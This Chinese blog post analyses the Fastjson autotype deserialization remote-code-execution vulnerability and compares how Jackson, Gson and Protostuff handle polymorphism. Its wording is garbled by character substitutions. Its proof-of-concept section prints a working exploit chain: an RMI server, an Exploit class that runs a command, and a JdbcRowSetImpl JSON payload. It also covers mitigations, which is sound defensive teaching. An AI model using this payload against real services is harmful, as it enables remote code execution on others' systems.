共计 5066 个字符,预计需要花费 13 分钟才能阅读完成。
前言
前段时间 FastJson 被曝高危破绽,其实之前也被报过相似的破绽,只是我的项目中没有应用,所以始终也没怎么关注;这一次刚好有我的项目用到 FastJson,打算对其做一个剖析。
破绽背景
2020 年 05 月 28 日,360CERT 监测发现业内平安厂商公布了
[Fastjson 近程代码执行破绽](https://cert.360.cn/warning/detail?id=af8fea5f165df6198033de208983e2ad)
的危险通告,破绽等级:高危
。Fastjson
是阿里巴巴的开源 JSON 解析库,它能够解析 JSON 格局的字符串,反对将 Java Bean 序列化为 JSON 字符串,也能够从 JSON 字符串反序列化到 JavaBean。Fastjson
存在近程代码执行破绽
,autotype
开关的限度能够被绕过,链式的反序列化攻击者精心结构反序列化利用链
,最终达成近程命令执行
的结果。此破绽自身无奈绕过Fastjson
的黑名单限度,须要配合不在黑名单中的反序列化利用链
能力实现残缺的破绽利用。
破绽的根本原因还是 Fastjson 的 autotype 性能,此性能能够反序列化的时候人为指定精心设计的类,达成近程命令执行;
AutoType 性能
问题形容
咱们在应用各种 Json 序列化工具的时候,其实在序列化之后很多状况是没有蕴含任何类信息的,比方这样:
{"fruit":{"name":"apple"},"mode":"online"}
咱们在应用的时候,也只须要个别有两种形式:间接转为一个 JSONObject,而后通过 key 值取对应的数据;另外一种就是指定须要转换的对象:
public static <T> T parseObject(String text, Class<T> clazz)
这样能够间接拿到我须要的类对象,很是不便;然而很多业务中会有 多态 的需要,比方像上面这样:
// 水果接口类
public interface Fruit {
}
// 通过指定的形式购买水果
public class Buy {
private String mode;
private Fruit fruit;
}
// 具体的水果类 -- 苹果
public class Apple implements Fruit {private String name;}
这种状况下,如果只是序列化为没有类信息的 json 字符串,那么其中的 Fruit 就无奈辨认具体的类:
String jsonString = "{"fruit":{"name":"apple"},"mode":"online"}";
Buy newBuy = JSON.parseObject(jsonString, Buy.class);
Apple newApple = (Apple) newBuy.getFruit();
这种状况下间接强转间接报 ClassCastException 异样;
AutoType 引入
为此 FastJson 引入了 autotype 性能,应用也很简略:
Apple apple = new Apple();
apple.setName("apple");
Buy buy = new Buy("online", apple);
String jsonString2 = JSON.toJSONString(buy, SerializerFeature.WriteClassName);
在序列化的时候指定 SerializerFeature.WriteClassName 即可,这样序列化之后的 json 字符串如下所示:
{"@type":"com.fastjson.Buy","fruit":{"@type":"com.fastjson.impl.Apple","name":"apple"},"mode":"online"}
能够看到在 json 字符串中蕴含了类信息,这样在反序列化的时候就能够转成具体的实现类;然而就是因为在 json 字符串中蕴含了类信息,给了黑客攻击的可能;
模仿攻打
当初的版本 FastJson 做了大量的进攻伎俩包含黑名单,白名单等,为了模仿不便,理解问题,咱们这边应用 FastJson 比拟早的版本:1.2.24;
在模仿之前咱们须要理解一下获取到类信息之后是如何把属性设置到类对象中的,它是通过 setXxx()来给类对象设值的;
一个常见的攻打类是:com.sun.rowset.JdbcRowSetImpl,此类的 dataSourceName 反对传入一个 rmi 的源,而后能够设置 autocommit 主动连贯,执行 rmi 中的办法;
这里首选须要筹备一个 RMI 类:
public class RMIServer {public static void main(String argv[]) {Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", "http://localhost:8080/");
registry.bind("Exploit", new ReferenceWrapper(reference));
}
}
这里的 Reference 指定了类名,曾经近程地址,能够从近程服务器上加载 class 文件来实例化;筹备好 Exploit 类,编译成 class 文件,而后把他放在本地的 http 服务器中即可;
public class Exploit {public Exploit() {Runtime.getRuntime().exec("calc");
}
}
筹备好这些之后,上面就须要模仿 Json 字符串了:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
fastjson 在反序化的时候,先执行 setDataSourceName 办法,而后 setAutoCommit 的时候会主动连贯设置的 dataSourceName 属性,最终获取到 Exploit 类执行其中的相干操作,以上的程序会在本地调起计算器;
注:以上起作用只会在咱们应用没有指定具体类状况下:
JSON.parseObject(jsonString);
JSON.parse(jsonString);
如果指定了具体的类,会间接报类型谬误:
com.alibaba.fastjson.JSONException: type not match
如何防止
1. 不应用 autotype
如果你没有应用多态的需要,没必要应用 autotype,没必要应用 SerializerFeature.WriteClassName 个性,间接敞开 autotype 性能;或者开启平安模式;
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
ParserConfig.getGlobalInstance().setSafeMode(true);
2. 指定具体类
在反序列化的时候,咱们尽量指定具体类:
public static <T> T parseObject(String text, Class<T> clazz)
这样在反序列化的时候,其实是会和你指定的类型就行比照的,看是否匹配;
序列化工具
序列化工具备很多包含:Jackson,Gson,Protostuff 等等;同样他们也会遇到相似的问题,多态如何解决,上面别离看看这几种工具是如何解决的;
1.Jackson
Jackson 自身提供了多态的反对,然而在序列化的时候并没有指定具体的类名,而是指定一个编号,相似如下:
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY, property = "type")
@JsonSubTypes(value = { @JsonSubTypes.Type(value = Apple.class, name = "a"),
@JsonSubTypes.Type(value = Banana.class, name = "b") })
public interface Fruit {}
指定了一个编号属性为 type,当 type 为 a 的时候对应 Apple 类,b 对应 Banana 类型;这样在序列化的时候 json 字符串如下所示:
{"mode":"online","fruit":{"type":"b","name":"banana"}}
这样的益处就是在序列化的时候其实没有写入真正的类名,通过一个映射的形式去指定;害处就是须要在应用的中央进行映射配置比拟麻烦;
2.Gson
Gson 对多态的反对是在 gson-extras 扩大包外面反对的,Gson 应用的形式其实和 Jackson 有点相似,也是通过设置编号进行映射:
RuntimeTypeAdapterFactory<Fruit> typeFactory = RuntimeTypeAdapterFactory.of(Fruit.class, "id").registerSubtype(Apple.class, "apple").registerSubtype(Banana.class, "banana");
Gson gson = new GsonBuilder().registerTypeAdapterFactory(typeFactory).create();
示意 id 为 apple 对应 Apple 类型,id 为 banana 对应 Banana 类型;序列化后的 json 字符串如下所示:
{"mode":"online","fruit":{"id":"apple","name":"apple"}}
3.Protostuff
Protostuff 是间接序列化成二进制的,多态的状况下会把类型间接写入:
Apple apple = new Apple();
apple.setName("apple");
Buy buy = new Buy("online", apple);
Schema<Buy> schema = RuntimeSchema.getSchema(Buy.class);
LinkedBuffer buffer = LinkedBuffer.allocate(1024);
byte[] data = ProtostuffIOUtil.toByteArray(buy, schema, buffer);
这里同样应用下面的类,序列化之后打印二进制:
[10, 6, 111, 110, 108, 105, 110, 101, 19, -6, 7, 23, **99, 111, 109, 46, 112, 114, 111, 116, 111, 98, 117, 102, 46, 105, 109, 112, 108, 46, 65, 112, 112, 108, 101**, 10, 5, 97, 112, 112, 108, 101, 20]
为了不便晓得外面是否有具体的 Apple 类,能够输入 com.protobuf.impl.Apple 二进制:
[99, 111, 109, 46, 112, 114, 111, 116, 111, 98, 117, 102, 46, 105, 109, 112, 108, 46, 65, 112, 112, 108, 101]
重叠的局部正是 Apple 类形容,同 FastJson 把具体的类信息寄存到了序列化信息中,那这样会不会也和 FastJson 一样,存在被攻打的可能那;但其实咱们在应用 Protostuff 的时候往往是须要 强类型绑定 的,如下所示:
Schema<Buy> schema2 = RuntimeSchema.getSchema(Buy.class);
Buy newBuy = schema2.newMessage();
ProtostuffIOUtil.mergeFrom(data, newBuy, schema2);
就像咱们在应用 FastJson 反序列化的时候强制指定 clazz,也能防止攻打;
总结
这种攻击方式,其实和 SQL 注入攻打挺像的,咱们的程序指定了一个入口,对输出的数据没有限度,或者说没有足够的限度;而程序在拿到数据之后也没有足够的校验,或者说提供了无需校验就能被加载执行的路径,比方 FastJosn 外面的 JSON.parse(jsonstr) 形式,无需一个明确的对应类;SQL 间接进行拼接等;最初想说的是一个工具只有被用的越多才会越能发现外面的问题,这样能力使咱们的工具更加成熟,Fastjson 会越来越弱小。
代码地址
Github